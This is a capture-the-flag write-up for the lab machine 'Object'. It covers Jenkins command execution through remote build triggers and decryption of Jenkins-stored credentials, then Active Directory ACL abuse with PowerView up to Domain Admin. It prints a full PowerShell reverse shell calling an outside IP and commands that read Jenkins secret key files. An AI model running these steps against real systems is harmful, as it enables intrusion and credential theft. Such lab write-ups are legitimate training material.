Object
Completed on October 11, 2022

Overview
This machine gave me another opportunity to explore how applications such as Jenkins could be leveraged to compromise the system, the environment, and even a domain. In a nutshell, only the Jenkins documentation was needed along with a bit of research to gain access and PowerView to compromise the environment plus some Active Directory knowledge.
References
Enumeration
Service Enumeration
Just like every scenario, we need to get to know our target better. We do this enumeration by trying to find ports opened on the host and then enumerate each service.
Finding Open Ports:
HTTP (TCP 80) Enumeration:
While evaluating what's hosted on TCP 80, we find an email address (ideas@object.htb) which might have the domain used.

It also contains a hyperlink to the application hosted on TCP 8080; Jenkins.
HTTP (TCP 8080) Enumeration:
Registration page is enabled. So we go ahead and create our tester:test123 account.
In the users configuration page, we can create an API key: 192141ae5ce890dd441ab1338a0fe5e8f
This is required to basically trigger the jobs remotely.

As we dont have anything else here, we can create project but not build them:
“Use the following URL to trigger build remotely: JENKINS_URL/job/Testing/build?token=TOKEN_NAME or /buildWithParameters?token=TOKEN_NAME”

As our build steps to trigger, we will use 'whoami /all' for testing purposes:

To trigger the job, we used curl with the given URL sample:
Successful Trigger:

And its output:

Gaining Access
Given this finding where we can execute commands, we attempt to gain access by executing a PS reverse shell.
Payload: powershell.exe -NoP -NonI -W Hidden -sta -ep bypass -Command ‘Set-ExecutionPolicy Bypass -Scope CurrentUser;$client = New-Object System.Net.Sockets.TCPClient("10.10.14.117",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

But no luck:

We tried to get creative like using powershell to pull a PS script with the same PS reverse shell payload but we only got a 'unable to connect to the remote server’ error. So at this point, we need to do some research.
Seems like Jenkins stores encrypted credentials locally and with NO admin access in the location set in the $JENKINS_HOME variable (typically the variable in a linux host). In this case, it would be in 'C:\Users\oliver\AppData\Local\Jenkins' as the error above gave us the path.
According to the Codurance publication, we need the following files:
$JENKINS_HOME/credentials.xml: This files holds the encrypted credentials
$JENKINS_HOME/secrets/master.key: This file decrypts hudson.util.Secret
$JENKINS_HOME/secrets/hudson.util.Secret: This file decrypts credentials.xml entries and it is itself encrypted.
Through some job iterations we find that this directory has two directories that belong to the admin user and 'tester'. What we find is that instead of a credentials.xml file (I was expecting a file with this name), we find a config.xml file that contains the encrypted credentials as shown below:
Next, we need to find the other two files, and we use the following two commands:
type c:\Users\oliver\Appdata\local\jenkins.jenkins\secrets\master.keypowershell.exe -c "$c=[convert]::ToBase64String((Get-Content -path 'c:\Users\oliver\Appdata\local\jenkins.jenkins\secrets\hudson.util.Secret' -Encoding byte));Write-Output $c"
And the output of the job was:
Once we retrieve these files, we must convert the data from hudson.util.Secret back to bytes:
With these files, the jenkins_offline_decryptor.py tool will help decrypting the credentials, giving us access to the host:
Now we have the credentials for oliver:c1cdfun_d2434 and we can attempt to access the system through WinRM:
Privilege Escalation
Local Enumeration
After finding the flag, we need to retrieve more information from the domain, so we proceed to get users, and local and domain groups:
For further enumeration, we used Bloodhound:
From the users this domain has, only the domain local Administrator user is a member of the Domain Admins group and not through any other means.
From our enumeration with Bloodhound, we find the user smith which seems to be a protected user that oliver does not have access to see its information. But oliver has the ‘ForceChangePassword’ DACL against smith. This means "The user OLIVER@OBJECT.LOCAL has the capability to change the user SMITH@OBJECT.LOCAL's password without knowing that user's current password."

In turn, maria has ‘WriteOwner’ DACL against the Domain Admins group. This also means "The user MARIA@OBJECT.LOCAL has the ability to modify the owner of the group DOMAIN ADMINS@OBJECT.LOCAL. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL."
Why all this is important? Well, "The user SMITH@OBJECT.LOCAL has generic write access to the user MARIA@OBJECT.LOCAL. Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user."

Validating the Remote Management Access rights to figure out which users is WinRM accessible to:
Account Modification
Modifying smith's password using PowerView:
Testing modification:
Now that we have access as smith, we will use netcat through a batch script to get a reverse shell as maria.
Custom batch script:
In powershell, we will use PowerView to modify the account to execute this script:
As soon as we get a reverse shell thanks to this script, we can access all the files in maria's home directory, which contains an Excel spreadsheet with a list of passwords:

Testing maria's passwords and access:
To test these passwords, we will use crackmapexec:
Using Evil-WinRM to test:
This does not say much of value but we already know maria can modify the group ownership of the Domain Admins group (dangerous!!).
Modifying Group Ownership
First, as we want to confirm this again, we will try and find any 'interesting DACLs':
Again with PowerView, we will change the ownership to maria to allow us to make add new ACLs:
Now that maria is the owner, we can add a new ACL to gain full control of the group and add this account as a member of the 'Domain Admins' group, giving us Domain Administrator access:
For this new access to take effect, we need to create a new session so we will access the system as maria once more and validate:
As we can see, we now can access everything in the system including the contents of the Administrator's home directory. Let's continue and retrieve the root flag as if this was part of the OSCP (using ipconfig and type):
AND we got root!!
Last updated
Was this helpful?